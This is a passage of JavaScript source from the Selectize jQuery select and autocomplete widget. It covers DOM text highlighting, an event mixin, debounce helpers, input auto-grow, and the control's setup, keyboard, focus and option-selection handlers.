		root.Selectize = factory(root.jQuery, root.Sifter, root.MicroPlugin);
	}
}(this, function($, Sifter, MicroPlugin) {
	'use strict';

	var highlight = function($element, pattern) {
		if (typeof pattern === 'string' && !pattern.length) return;
		var regex = (typeof pattern === 'string') ? new RegExp(pattern, 'i') : pattern;

		var highlight = function(node) {
			var skip = 0;
			if (node.nodeType === 3) {
				var pos = node.data.search(regex);
				if (pos >= 0 && node.data.length > 0) {
					var match = node.data.match(regex);
					var spannode = document.createElement('span');
					spannode.className = 'highlight';
					var middlebit = node.splitText(pos);
					var endbit = middlebit.splitText(match[0].length);
					var middleclone = middlebit.cloneNode(true);
					spannode.appendChild(middleclone);
					middlebit.parentNode.replaceChild(spannode, middlebit);
					skip = 1;
				}
			} else if (node.nodeType === 1 && node.childNodes && !/(script|style)/i.test(node.tagName)) {
				for (var i = 0; i < node.childNodes.length; ++i) {
					i += highlight(node.childNodes[i]);
				}
			}
			return skip;
		};

		return $element.each(function() {
			highlight(this);
		});
	};

	var MicroEvent = function() {};
	MicroEvent.prototype = {
		on: function(event, fct){
			this._events = this._events || {};
			this._events[event] = this._events[event] || [];
			this._events[event].push(fct);
		},
		off: function(event, fct){
			var n = arguments.length;
			if (n === 0) return delete this._events;
			if (n === 1) return delete this._events[event];

			this._events = this._events || {};
			if (event in this._events === false) return;
			this._events[event].splice(this._events[event].indexOf(fct), 1);
		},
		trigger: function(event /* , args... */){
			this._events = this._events || {};
			if (event in this._events === false) return;
			for (var i = 0; i < this._events[event].length; i++){
				this._events[event][i].apply(this, Array.prototype.slice.call(arguments, 1));
			}
		}
	};

	/**
	 * Mixin will delegate all MicroEvent.js function in the destination object.
	 *
	 * - MicroEvent.mixin(Foobar) will make Foobar able to use MicroEvent
	 *
	 * @param {object} the object which will support MicroEvent
	 */
	MicroEvent.mixin = function(destObject){
		var props = ['on', 'off', 'trigger'];
		for (var i = 0; i < props.length; i++){
			destObject.prototype[props[i]] = MicroEvent.prototype[props[i]];
		}
	};

	var IS_MAC        = /Mac/.test(navigator.userAgent);

	var KEY_A         = 65;
	var KEY_COMMA     = 188;
	var KEY_RETURN    = 13;
	var KEY_ESC       = 27;
	var KEY_LEFT      = 37;
	var KEY_UP        = 38;
	var KEY_P         = 80;
	var KEY_RIGHT     = 39;
	var KEY_DOWN      = 40;
	var KEY_N         = 78;
	var KEY_BACKSPACE = 8;
	var KEY_DELETE    = 46;
	var KEY_SHIFT     = 16;
	var KEY_CMD       = IS_MAC ? 91 : 17;
	var KEY_CTRL      = IS_MAC ? 18 : 17;
	var KEY_TAB       = 9;

	var TAG_SELECT    = 1;
	var TAG_INPUT     = 2;

	// for now, android support in general is too spotty to support validity
	var SUPPORTS_VALIDITY_API = !/android/i.test(window.navigator.userAgent) && !!document.createElement('form').validity;

	var isset = function(object) {
		return typeof object !== 'undefined';
	};

	/**
	 * Converts a scalar to its best string representation
	 * for hash keys and HTML attribute values.
	 *
	 * Transformations:
	 *   'str'     -> 'str'
	 *   null      -> ''
	 *   undefined -> ''
	 *   true      -> '1'
	 *   false     -> '0'
	 *   0         -> '0'
	 *   1         -> '1'
	 *
	 * @param {string} value
	 * @returns {string|null}
	 */
	var hash_key = function(value) {
		if (typeof value === 'undefined' || value === null) return null;
		if (typeof value === 'boolean') return value ? '1' : '0';
		return value + '';
	};

	/**
	 * Escapes a string for use within HTML.
	 *
	 * @param {string} str
	 * @returns {string}
	 */
	var escape_html = function(str) {
		return (str + '')
				.replace(/&/g, '&amp;')
				.replace(/</g, '&lt;')
				.replace(/>/g, '&gt;')
				.replace(/"/g, '&quot;');
	};

	/**
	 * Escapes "$" characters in replacement strings.
	 *
	 * @param {string} str
	 * @returns {string}
	 */
	var escape_replace = function(str) {
		return (str + '').replace(/\$/g, '$$$$');
	};

	var hook = {};

	/**
	 * Wraps `method` on `self` so that `fn`
	 * is invoked before the original method.
	 *
	 * @param {object} self
	 * @param {string} method
	 * @param {function} fn
	 */
	hook.before = function(self, method, fn) {
		var original = self[method];
		self[method] = function() {
			fn.apply(self, arguments);
			return original.apply(self, arguments);
		};
	};

	/**
	 * Wraps `method` on `self` so that `fn`
	 * is invoked after the original method.
	 *
	 * @param {object} self
	 * @param {string} method
	 * @param {function} fn
	 */
	hook.after = function(self, method, fn) {
		var original = self[method];
		self[method] = function() {
			var result = original.apply(self, arguments);
			fn.apply(self, arguments);
			return result;
		};
	};

	/**
	 * Wraps `fn` so that it can only be invoked once.
	 *
	 * @param {function} fn
	 * @returns {function}
	 */
	var once = function(fn) {
		var called = false;
		return function() {
			if (called) return;
			called = true;
			fn.apply(this, arguments);
		};
	};

	/**
	 * Wraps `fn` so that it can only be called once
	 * every `delay` milliseconds (invoked on the falling edge).
	 *
	 * @param {function} fn
	 * @param {int} delay
	 * @returns {function}
	 */
	var debounce = function(fn, delay) {
		var timeout;
		return function() {
			var self = this;
			var args = arguments;
			window.clearTimeout(timeout);
			timeout = window.setTimeout(function() {
				fn.apply(self, args);
			}, delay);
		};
	};

	/**
	 * Debounce all fired events types listed in `types`
	 * while executing the provided `fn`.
	 *
	 * @param {object} self
	 * @param {array} types
	 * @param {function} fn
	 */
	var debounce_events = function(self, types, fn) {
		var type;
		var trigger = self.trigger;
		var event_args = {};

		// override trigger method
		self.trigger = function() {
			var type = arguments[0];
			if (types.indexOf(type) !== -1) {
				event_args[type] = arguments;
			} else {
				return trigger.apply(self, arguments);
			}
		};

		// invoke provided function
		fn.apply(self, []);
		self.trigger = trigger;

		// trigger queued events
		for (type in event_args) {
			if (event_args.hasOwnProperty(type)) {
				trigger.apply(self, event_args[type]);
			}
		}
	};

	/**
	 * A workaround for http://bugs.jquery.com/ticket/6696
	 *
	 * @param {object} $parent - Parent element to listen on.
	 * @param {string} event - Event name.
	 * @param {string} selector - Descendant selector to filter by.
	 * @param {function} fn - Event handler.
	 */
	var watchChildEvent = function($parent, event, selector, fn) {
		$parent.on(event, selector, function(e) {
			var child = e.target;
			while (child && child.parentNode !== $parent[0]) {
				child = child.parentNode;
			}
			e.currentTarget = child;
			return fn.apply(this, [e]);
		});
	};

	/**
	 * Determines the current selection within a text input control.
	 * Returns an object containing:
	 *   - start
	 *   - length
	 *
	 * @param {object} input
	 * @returns {object}
	 */
	var getSelection = function(input) {
		var result = {};
		if ('selectionStart' in input) {
			result.start = input.selectionStart;
			result.length = input.selectionEnd - result.start;
		} else if (document.selection) {
			input.focus();
			var sel = document.selection.createRange();
			var selLen = document.selection.createRange().text.length;
			sel.moveStart('character', -input.value.length);
			result.start = sel.text.length - selLen;
			result.length = selLen;
		}
		return result;
	};

	/**
	 * Copies CSS properties from one element to another.
	 *
	 * @param {object} $from
	 * @param {object} $to
	 * @param {array} properties
	 */
	var transferStyles = function($from, $to, properties) {
		var i, n, styles = {};
		if (properties) {
			for (i = 0, n = properties.length; i < n; i++) {
				styles[properties[i]] = $from.css(properties[i]);
			}
		} else {
			styles = $from.css();
		}
		$to.css(styles);
	};

	/**
	 * Measures the width of a string within a
	 * parent element (in pixels).
	 *
	 * @param {string} str
	 * @param {object} $parent
	 * @returns {int}
	 */
	var measureString = function(str, $parent) {
		if (!str) {
			return 0;
		}

		var $test = $('<test>').css({
			position: 'absolute',
			top: -99999,
			left: -99999,
			width: 'auto',
			padding: 0,
			whiteSpace: 'pre'
		}).text(str).appendTo('body');

		transferStyles($parent, $test, [
			'letterSpacing',
			'fontSize',
			'fontFamily',
			'fontWeight',
			'textTransform'
		]);

		var width = $test.width();
		$test.remove();

		return width;
	};

	/**
	 * Sets up an input to grow horizontally as the user
	 * types. If the value is changed manually, you can
	 * trigger the "update" handler to resize:
	 *
	 * $input.trigger('update');
	 *
	 * @param {object} $input
	 */
	var autoGrow = function($input) {
		var currentWidth = null;

		var update = function(e, options) {
			var value, keyCode, printable, placeholder, width;
			var shift, character, selection;
			e = e || window.event || {};
			options = options || {};

			if (e.metaKey || e.altKey) return;
			if (!options.force && $input.data('grow') === false) return;

			value = $input.val();
			if (e.type && e.type.toLowerCase() === 'keydown') {
				keyCode = e.keyCode;
				printable = (
						(keyCode >= 97 && keyCode <= 122) || // a-z
						(keyCode >= 65 && keyCode <= 90)  || // A-Z
						(keyCode >= 48 && keyCode <= 57)  || // 0-9
						keyCode === 32 // space
				);

				if (keyCode === KEY_DELETE || keyCode === KEY_BACKSPACE) {
					selection = getSelection($input[0]);
					if (selection.length) {
						value = value.substring(0, selection.start) + value.substring(selection.start + selection.length);
					} else if (keyCode === KEY_BACKSPACE && selection.start) {
						value = value.substring(0, selection.start - 1) + value.substring(selection.start + 1);
					} else if (keyCode === KEY_DELETE && typeof selection.start !== 'undefined') {
						value = value.substring(0, selection.start) + value.substring(selection.start + 1);
					}
				} else if (printable) {
					shift = e.shiftKey;
					character = String.fromCharCode(e.keyCode);
					if (shift) character = character.toUpperCase();
					else character = character.toLowerCase();
					value += character;
				}
			}

			placeholder = $input.attr('placeholder');
			if (!value && placeholder) {
				value = placeholder;
			}

			width = measureString(value, $input) + 4;
			if (width !== currentWidth) {
				currentWidth = width;
				$input.width(width);
				$input.triggerHandler('resize');
			}
		};

		$input.on('keydown keyup update blur', update);
		update();
	};

	var domToString = function(d) {
		var tmp = document.createElement('div');

		tmp.appendChild(d.cloneNode(true));

		return tmp.innerHTML;
	};


	var Selectize = function($input, settings) {
		var key, i, n, dir, input, self = this;
		input = $input[0];
		input.selectize = self;

		// detect rtl environment
		var computedStyle = window.getComputedStyle && window.getComputedStyle(input, null);
		dir = computedStyle ? computedStyle.getPropertyValue('direction') : input.currentStyle && input.currentStyle.direction;
		dir = dir || $input.parents('[dir]:first').attr('dir') || '';

		// setup default state
		$.extend(self, {
			order            : 0,
			settings         : settings,
			$input           : $input,
			tabIndex         : $input.attr('tabindex') || '',
			tagType          : input.tagName.toLowerCase() === 'select' ? TAG_SELECT : TAG_INPUT,
			rtl              : /rtl/i.test(dir),

			eventNS          : '.selectize' + (++Selectize.count),
			highlightedValue : null,
			isOpen           : false,
			isDisabled       : false,
			isRequired       : $input.is('[required]'),
			isInvalid        : false,
			isLocked         : false,
			isFocused        : false,
			isInputHidden    : false,
			isSetup          : false,
			isShiftDown      : false,
			isCmdDown        : false,
			isCtrlDown       : false,
			ignoreFocus      : false,
			ignoreBlur       : false,
			ignoreHover      : false,
			hasOptions       : false,
			currentResults   : null,
			lastValue        : '',
			caretPos         : 0,
			loading          : 0,
			loadedSearches   : {},

			$activeOption    : null,
			$activeItems     : [],

			optgroups        : {},
			options          : {},
			userOptions      : {},
			items            : [],
			renderCache      : {},
			onSearchChange   : settings.loadThrottle === null ? self.onSearchChange : debounce(self.onSearchChange, settings.loadThrottle)
		});

		// search system
		self.sifter = new Sifter(this.options, {diacritics: settings.diacritics});

		// build options table
		if (self.settings.options) {
			for (i = 0, n = self.settings.options.length; i < n; i++) {
				self.registerOption(self.settings.options[i]);
			}
			delete self.settings.options;
		}

		// build optgroup table
		if (self.settings.optgroups) {
			for (i = 0, n = self.settings.optgroups.length; i < n; i++) {
				self.registerOptionGroup(self.settings.optgroups[i]);
			}
			delete self.settings.optgroups;
		}

		// option-dependent defaults
		self.settings.mode = self.settings.mode || (self.settings.maxItems === 1 ? 'single' : 'multi');
		if (typeof self.settings.hideSelected !== 'boolean') {
			self.settings.hideSelected = self.settings.mode === 'multi';
		}

		self.initializePlugins(self.settings.plugins);
		self.setupCallbacks();
		self.setupTemplates();
		self.setup();
	};

	// mixins
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	MicroEvent.mixin(Selectize);
	MicroPlugin.mixin(Selectize);

	// methods
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	$.extend(Selectize.prototype, {

		/**
		 * Creates all elements and sets up event bindings.
		 */
		setup: function() {
			var self      = this;
			var settings  = self.settings;
			var eventNS   = self.eventNS;
			var $window   = $(window);
			var $document = $(document);
			var $input    = self.$input;

			var $wrapper;
			var $control;
			var $control_input;
			var $dropdown;
			var $dropdown_content;
			var $dropdown_parent;
			var inputMode;
			var timeout_blur;
			var timeout_focus;
			var classes;
			var classes_plugins;

			inputMode         = self.settings.mode;
			classes           = $input.attr('class') || '';

			$wrapper          = $('<div>').addClass(settings.wrapperClass).addClass(classes).addClass(inputMode);
			$control          = $('<div>').addClass(settings.inputClass).addClass('items').appendTo($wrapper);
			$control_input    = $('<input type="text" autocomplete="off" />').appendTo($control).attr('tabindex', $input.is(':disabled') ? '-1' : self.tabIndex);
			$dropdown_parent  = $(settings.dropdownParent || $wrapper);
			$dropdown         = $('<div>').addClass(settings.dropdownClass).addClass(inputMode).hide().appendTo($dropdown_parent);
			$dropdown_content = $('<div>').addClass(settings.dropdownContentClass).appendTo($dropdown);

			if(self.settings.copyClassesToDropdown) {
				$dropdown.addClass(classes);
			}

			$wrapper.css({
				width: $input[0].style.width
			});

			if (self.plugins.names.length) {
				classes_plugins = 'plugin-' + self.plugins.names.join(' plugin-');
				$wrapper.addClass(classes_plugins);
				$dropdown.addClass(classes_plugins);
			}

			if ((settings.maxItems === null || settings.maxItems > 1) && self.tagType === TAG_SELECT) {
				$input.attr('multiple', 'multiple');
			}

			if (self.settings.placeholder) {
				$control_input.attr('placeholder', settings.placeholder);
			}

			// if splitOn was not passed in, construct it from the delimiter to allow pasting universally
			if (!self.settings.splitOn && self.settings.delimiter) {
				var delimiterEscaped = self.settings.delimiter.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
				self.settings.splitOn = new RegExp('\\s*' + delimiterEscaped + '+\\s*');
			}

			if ($input.attr('autocorrect')) {
				$control_input.attr('autocorrect', $input.attr('autocorrect'));
			}

			if ($input.attr('autocapitalize')) {
				$control_input.attr('autocapitalize', $input.attr('autocapitalize'));
			}

			self.$wrapper          = $wrapper;
			self.$control          = $control;
			self.$control_input    = $control_input;
			self.$dropdown         = $dropdown;
			self.$dropdown_content = $dropdown_content;

			$dropdown.on('mouseenter', '[data-selectable]', function() { return self.onOptionHover.apply(self, arguments); });
			$dropdown.on('mousedown click', '[data-selectable]', function() { return self.onOptionSelect.apply(self, arguments); });
			watchChildEvent($control, 'mousedown', '*:not(input)', function() { return self.onItemSelect.apply(self, arguments); });
			autoGrow($control_input);

			$control.on({
				mousedown : function() { return self.onMouseDown.apply(self, arguments); },
				click     : function() { return self.onClick.apply(self, arguments); }
			});

			$control_input.on({
				mousedown : function(e) { e.stopPropagation(); },
				keydown   : function() { return self.onKeyDown.apply(self, arguments); },
				keyup     : function() { return self.onKeyUp.apply(self, arguments); },
				keypress  : function() { return self.onKeyPress.apply(self, arguments); },
				resize    : function() { self.positionDropdown.apply(self, []); },
				blur      : function() { return self.onBlur.apply(self, arguments); },
				focus     : function() { self.ignoreBlur = false; return self.onFocus.apply(self, arguments); },
				paste     : function() { return self.onPaste.apply(self, arguments); }
			});

			$document.on('keydown' + eventNS, function(e) {
				self.isCmdDown = e[IS_MAC ? 'metaKey' : 'ctrlKey'];
				self.isCtrlDown = e[IS_MAC ? 'altKey' : 'ctrlKey'];
				self.isShiftDown = e.shiftKey;
			});

			$document.on('keyup' + eventNS, function(e) {
				if (e.keyCode === KEY_CTRL) self.isCtrlDown = false;
				if (e.keyCode === KEY_SHIFT) self.isShiftDown = false;
				if (e.keyCode === KEY_CMD) self.isCmdDown = false;
			});

			$document.on('mousedown' + eventNS, function(e) {
				if (self.isFocused) {
					// prevent events on the dropdown scrollbar from causing the control to blur
					if (e.target === self.$dropdown[0] || e.target.parentNode === self.$dropdown[0]) {
						return false;
					}
					// blur on click outside
					if (!self.$control.has(e.target).length && e.target !== self.$control[0]) {
						self.blur(e.target);
					}
				}
			});

			$window.on(['scroll' + eventNS, 'resize' + eventNS].join(' '), function() {
				if (self.isOpen) {
					self.positionDropdown.apply(self, arguments);
				}
			});
			$window.on('mousemove' + eventNS, function() {
				self.ignoreHover = false;
			});

			// store original children and tab index so that they can be
			// restored when the destroy() method is called.
			this.revertSettings = {
				$children : $input.children().detach(),
				tabindex  : $input.attr('tabindex')
			};

			$input.attr('tabindex', -1).hide().after(self.$wrapper);

			if ($.isArray(settings.items)) {
				self.setValue(settings.items);
				delete settings.items;
			}

			// feature detect for the validation API
			if (SUPPORTS_VALIDITY_API) {
				$input.on('invalid' + eventNS, function(e) {
					e.preventDefault();
					self.isInvalid = true;
					self.refreshState();
				});
			}

			self.updateOriginalInput();
			self.refreshItems();
			self.refreshState();
			self.updatePlaceholder();
			self.isSetup = true;

			if ($input.is(':disabled')) {
				self.disable();
			}

			self.on('change', this.onChange);

			$input.data('selectize', self);
			$input.addClass('selectized');
			self.trigger('initialize');

			// preload options
			if (settings.preload === true) {
				self.onSearchChange('');
			}

		},

		/**
		 * Sets up default rendering functions.
		 */
		setupTemplates: function() {
			var self = this;
			var field_label = self.settings.labelField;
			var field_optgroup = self.settings.optgroupLabelField;

			var templates = {
				'optgroup': function(data) {
					return '<div class="optgroup">' + data.html + '</div>';
				},
				'optgroup_header': function(data, escape) {
					return '<div class="optgroup-header">' + escape(data[field_optgroup]) + '</div>';
				},
				'option': function(data, escape) {
					return '<div class="option">' + escape(data[field_label]) + '</div>';
				},
				'item': function(data, escape) {
					return '<div class="item">' + escape(data[field_label]) + '</div>';
				},
				'option_create': function(data, escape) {
					return '<div class="create">Add <strong>' + escape(data.input) + '</strong>&hellip;</div>';
				}
			};

			self.settings.render = $.extend({}, templates, self.settings.render);
		},

		/**
		 * Maps fired events to callbacks provided
		 * in the settings used when creating the control.
		 */
		setupCallbacks: function() {
			var key, fn, callbacks = {
				'initialize'      : 'onInitialize',
				'change'          : 'onChange',
				'item_add'        : 'onItemAdd',
				'item_remove'     : 'onItemRemove',
				'clear'           : 'onClear',
				'option_add'      : 'onOptionAdd',
				'option_remove'   : 'onOptionRemove',
				'option_clear'    : 'onOptionClear',
				'optgroup_add'    : 'onOptionGroupAdd',
				'optgroup_remove' : 'onOptionGroupRemove',
				'optgroup_clear'  : 'onOptionGroupClear',
				'dropdown_open'   : 'onDropdownOpen',
				'dropdown_close'  : 'onDropdownClose',
				'type'            : 'onType',
				'load'            : 'onLoad',
				'focus'           : 'onFocus',
				'blur'            : 'onBlur'
			};

			for (key in callbacks) {
				if (callbacks.hasOwnProperty(key)) {
					fn = this.settings[callbacks[key]];
					if (fn) this.on(key, fn);
				}
			}
		},

		/**
		 * Triggered when the main control element
		 * has a click event.
		 *
		 * @param {object} e
		 * @return {boolean}
		 */
		onClick: function(e) {
			var self = this;

			// necessary for mobile webkit devices (manual focus triggering
			// is ignored unless invoked within a click event)
			if (!self.isFocused) {
				self.focus();
				e.preventDefault();
			}
		},

		/**
		 * Triggered when the main control element
		 * has a mouse down event.
		 *
		 * @param {object} e
		 * @return {boolean}
		 */
		onMouseDown: function(e) {
			var self = this;
			var defaultPrevented = e.isDefaultPrevented();
			var $target = $(e.target);

			if (self.isFocused) {
				// retain focus by preventing native handling. if the
				// event target is the input it should not be modified.
				// otherwise, text selection within the input won't work.
				if (e.target !== self.$control_input[0]) {
					if (self.settings.mode === 'single') {
						// toggle dropdown
						self.isOpen ? self.close() : self.open();
					} else if (!defaultPrevented) {
						self.setActiveItem(null);
					}
					return false;
				}
			} else {
				// give control focus
				if (!defaultPrevented) {
					window.setTimeout(function() {
						self.focus();
					}, 0);
				}
			}
		},

		/**
		 * Triggered when the value of the control has been changed.
		 * This should propagate the event to the original DOM
		 * input / select element.
		 */
		onChange: function() {
			this.$input.trigger('change');
		},

		/**
		 * Triggered on <input> paste.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onPaste: function(e) {
			var self = this;
			if (self.isFull() || self.isInputHidden || self.isLocked) {
				e.preventDefault();
			} else {
				// If a regex or string is included, this will split the pasted
				// input and create Items for each separate value
				if (self.settings.splitOn) {
					setTimeout(function() {
						var splitInput = $.trim(self.$control_input.val() || '').split(self.settings.splitOn);
						for (var i = 0, n = splitInput.length; i < n; i++) {
							self.createItem(splitInput[i]);
						}
					}, 0);
				}
			}
		},

		/**
		 * Triggered on <input> keypress.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onKeyPress: function(e) {
			if (this.isLocked) return e && e.preventDefault();
			var character = String.fromCharCode(e.keyCode || e.which);
			if (this.settings.create && this.settings.mode === 'multi' && character === this.settings.delimiter) {
				this.createItem();
				e.preventDefault();
				return false;
			}
		},

		/**
		 * Triggered on <input> keydown.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onKeyDown: function(e) {
			var isInput = e.target === this.$control_input[0];
			var self = this;

			if (self.isLocked) {
				if (e.keyCode !== KEY_TAB) {
					e.preventDefault();
				}
				return;
			}

			switch (e.keyCode) {
				case KEY_A:
					if (self.isCmdDown) {
						self.selectAll();
						return;
					}
					break;
				case KEY_ESC:
					if (self.isOpen) {
						e.preventDefault();
						e.stopPropagation();
						self.close();
					}
					return;
				case KEY_N:
					if (!e.ctrlKey || e.altKey) break;
				case KEY_DOWN:
					if (!self.isOpen && self.hasOptions) {
						self.open();
					} else if (self.$activeOption) {
						self.ignoreHover = true;
						var $next = self.getAdjacentOption(self.$activeOption, 1);
						if ($next.length) self.setActiveOption($next, true, true);
					}
					e.preventDefault();
					return;
				case KEY_P:
					if (!e.ctrlKey || e.altKey) break;
				case KEY_UP:
					if (self.$activeOption) {
						self.ignoreHover = true;
						var $prev = self.getAdjacentOption(self.$activeOption, -1);
						if ($prev.length) self.setActiveOption($prev, true, true);
					}
					e.preventDefault();
					return;
				case KEY_RETURN:
					if (self.isOpen && self.$activeOption) {
						self.onOptionSelect({currentTarget: self.$activeOption});
						e.preventDefault();
					}
					return;
				case KEY_LEFT:
					self.advanceSelection(-1, e);
					return;
				case KEY_RIGHT:
					self.advanceSelection(1, e);
					return;
				case KEY_TAB:
					if (self.settings.selectOnTab && self.isOpen && self.$activeOption) {
						self.onOptionSelect({currentTarget: self.$activeOption});

						// Default behaviour is to jump to the next field, we only want this
						// if the current field doesn't accept any more entries
						if (!self.isFull()) {
							e.preventDefault();
						}
					}
					if (self.settings.create && self.createItem()) {
						e.preventDefault();
					}
					return;
				case KEY_BACKSPACE:
				case KEY_DELETE:
					self.deleteSelection(e);
					return;
			}

			if ((self.isFull() || self.isInputHidden) && !(IS_MAC ? e.metaKey : e.ctrlKey)) {
				e.preventDefault();
				return;
			}
		},

		/**
		 * Triggered on <input> keyup.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onKeyUp: function(e) {
			var self = this;

			if (self.isLocked) return e && e.preventDefault();
			var value = self.$control_input.val() || '';
			if (self.lastValue !== value) {
				self.lastValue = value;
				self.onSearchChange(value);
				self.refreshOptions();
				self.trigger('type', value);
			}
		},

		/**
		 * Invokes the user-provide option provider / loader.
		 *
		 * Note: this function is debounced in the Selectize
		 * constructor (by `settings.loadThrottle` milliseconds)
		 *
		 * @param {string} value
		 */
		onSearchChange: function(value) {
			var self = this;
			var fn = self.settings.load;
			if (!fn) return;
			if (self.loadedSearches.hasOwnProperty(value)) return;
			self.loadedSearches[value] = true;
			self.load(function(callback) {
				fn.apply(self, [value, callback]);
			});
		},

		/**
		 * Triggered on <input> focus.
		 *
		 * @param {object} e (optional)
		 * @returns {boolean}
		 */
		onFocus: function(e) {
			var self = this;
			var wasFocused = self.isFocused;

			if (self.isDisabled) {
				self.blur();
				e && e.preventDefault();
				return false;
			}

			if (self.ignoreFocus) return;
			self.isFocused = true;
			if (self.settings.preload === 'focus') self.onSearchChange('');

			if (!wasFocused) self.trigger('focus');

			if (!self.$activeItems.length) {
				self.showInput();
				self.setActiveItem(null);
				self.refreshOptions(!!self.settings.openOnFocus);
			}

			self.refreshState();
		},

		/**
		 * Triggered on <input> blur.
		 *
		 * @param {object} e
		 * @param {Element} dest
		 */
		onBlur: function(e, dest) {
			var self = this;
			if (!self.isFocused) return;
			self.isFocused = false;

			if (self.ignoreFocus) {
				return;
			} else if (!self.ignoreBlur && document.activeElement === self.$dropdown_content[0]) {
				// necessary to prevent IE closing the dropdown when the scrollbar is clicked
				self.ignoreBlur = true;
				self.onFocus(e);
				return;
			}

			var deactivate = function() {
				self.close();
				self.setTextboxValue('');
				self.setActiveItem(null);
				self.setActiveOption(null);
				self.setCaret(self.items.length);
				self.refreshState();

				// IE11 bug: element still marked as active
				dest && dest.focus();

				self.ignoreFocus = false;
				self.trigger('blur');
			};

			self.ignoreFocus = true;
			if (self.settings.create && self.settings.createOnBlur) {
				self.createItem(null, false, deactivate);
			} else {
				deactivate();
			}
		},

		/**
		 * Triggered when the user rolls over
		 * an option in the autocomplete dropdown menu.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onOptionHover: function(e) {
			if (this.ignoreHover) return;
			this.setActiveOption(e.currentTarget, false);
		},

		/**
		 * Triggered when the user clicks on an option
		 * in the autocomplete dropdown menu.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onOptionSelect: function(e) {
			var value, $target, $option, self = this;

			if (e.preventDefault) {
				e.preventDefault();
				e.stopPropagation();
			}

			$target = $(e.currentTarget);
			if ($target.hasClass('create')) {
				self.createItem(null, function() {
					if (self.settings.closeAfterSelect) {
						self.close();
					}
				});
			} else {
				value = $target.attr('data-value');
				if (typeof value !== 'undefined') {
					self.lastQuery = null;
					self.setTextboxValue('');
					self.addItem(value);
					if (self.settings.closeAfterSelect) {
						self.close();
					} else if (!self.settings.hideSelected && e.type && /mouse/.test(e.type)) {
						self.setActiveOption(self.getOption(value));
					}
				}
			}
		},

		/**
		 * Triggered when the user clicks on an item
		 * that has been selected.
		 *
		 * @param {object} e
		 * @returns {boolean}
		 */
		onItemSelect: function(e) {
			var self = this;

			if (self.isLocked) return;
			if (self.settings.mode === 'multi') {
				e.preventDefault();
				self.setActiveItem(e.currentTarget, e);
			}
		},

		/**
		 * Invokes the provided method that provides
		 * results to a callback---which are then added
		 * as options to the control.
		 *
		 * @param {function} fn
		 */
		load: function(fn) {
			var self = this;
			var $wrapper = self.$wrapper.addClass(self.settings.loadingClass);

			self.loading++;
			fn.apply(self, [function(results) {
				self.loading = Math.max(self.loading - 1, 0);
				if (results && results.length) {
					self.addOption(results);
					self.refreshOptions(self.isFocused && !self.isInputHidden);
				}
				if (!self.loading) {
					$wrapper.removeClass(self.settings.loadingClass);
				}
				self.trigger('load', results);
			}]);
		},

		/**
		 * Sets the input field of the control to the specified value.
		 *
		 * @param {string} value
		 */
		setTextboxValue: function(value) {
			var $input = this.$control_input;
			var changed = $input.val() !== value;
			if (changed) {
				$input.val(value).triggerHandler('update');
				this.lastValue = value;
			}
		},

		/**
		 * Returns the value of the control. If multiple items
		 * can be selected (e.g. <select multiple>), this returns
		 * an array. If only one item can be selected, this
		 * returns a string.
		 *
		 * @returns {mixed}
		 */
		getValue: function() {
			if (this.tagType === TAG_SELECT && this.$input.attr('multiple')) {
				return this.items;
			} else {
				return this.items.join(this.settings.delimiter);
			}
		},

		/**
		 * Resets the selected items to the given value.
		 *
		 * @param {mixed} value
		 */
		setValue: function(value, silent) {
			var events = silent ? [] : ['change'];

			debounce_events(this, events, function() {
				this.clear(silent);
				this.addItems(value, silent);
			});
		},

		/**
		 * Sets the selected item.
		 *
		 * @param {object} $item
		 * @param {object} e (optional)
		 */
		setActiveItem: function($item, e) {
			var self = this;
			var eventName;
			var i, idx, begin, end, item, swap;
			var $last;

			if (self.settings.mode === 'single') return;
			$item = $($item);

			// clear the active selection
			if (!$item.length) {
				$(self.$activeItems).removeClass('active');
				self.$activeItems = [];
				if (self.isFocused) {
					self.showInput();
				}
				return;
			}

			// modify selection
			eventName = e && e.type.toLowerCase();

			if (eventName === 'mousedown' && self.isShiftDown && self.$activeItems.length) {
				$last = self.$control.children('.active:last');
				begin = Array.prototype.indexOf.apply(self.$control[0].childNodes, [$last[0]]);
				end   = Array.prototype.indexOf.apply(self.$control[0].childNodes, [$item[0]]);
				if (begin > end) {
					swap  = begin;
					begin = end;
					end   = swap;
				}
				for (i = begin; i <= end; i++) {
					item = self.$control[0].childNodes[i];
					if (self.$activeItems.indexOf(item) === -1) {
						$(item).addClass('active');
						self.$activeItems.push(item);
					}
				}
				e.preventDefault();
			} else if ((eventName === 'mousedown' && self.isCtrlDown) || (eventName === 'keydown' && this.isShiftDown)) {
				if ($item.hasClass('active')) {
					idx = self.$activeItems.indexOf($item[0]);
					self.$activeItems.splice(idx, 1);
					$item.removeClass('active');
				} else {
					self.$activeItems.push($item.addClass('active')[0]);
				}
			} else {
				$(self.$activeItems).removeClass('active');
				self.$activeItems = [$item.addClass('active')[0]];
			}

			// ensure control has focus
			self.hideInput();
			if (!this.isFocused) {
				self.focus();
			}
		},

		/**
		 * Sets the selected item in the dropdown menu
		 * of available options.
		 *
		 * @param {object} $object
		 * @param {boolean} scroll
		 * @param {boolean} animate
		 */
		setActiveOption: function($option, scroll, animate) {
			var height_menu, height_item, y;
			var scroll_top, scroll_bottom;
			var self = this;

			if (self.$activeOption) self.$activeOption.removeClass('active');
			self.$activeOption = null;

			$option = $($option);
			if (!$option.length) return;

			self.$activeOption = $option.addClass('active');

			if (scroll || !isset(scroll)) {

				height_menu   = self.$dropdown_content.height();
				height_item   = self.$activeOption.outerHeight(true);
				scroll        = self.$dropdown_content.scrollTop() || 0;
				y             = self.$activeOption.offset().top - self.$dropdown_content.offset().top + scroll;
				scroll_top    = y;
				scroll_bottom = y - height_menu + height_item;

				if (y + height_item > height_menu + scroll) {
					self.$dropdown_content.stop().animate({scrollTop: scroll_bottom}, animate ? self.settings.scrollDuration : 0);
				} else if (y < scroll) {
					self.$dropdown_content.stop().animate({scrollTop: scroll_top}, animate ? self.settings.scrollDuration : 0);
				}

			}
		},

		/**
		 * Selects all items (CTRL + A).
		 */
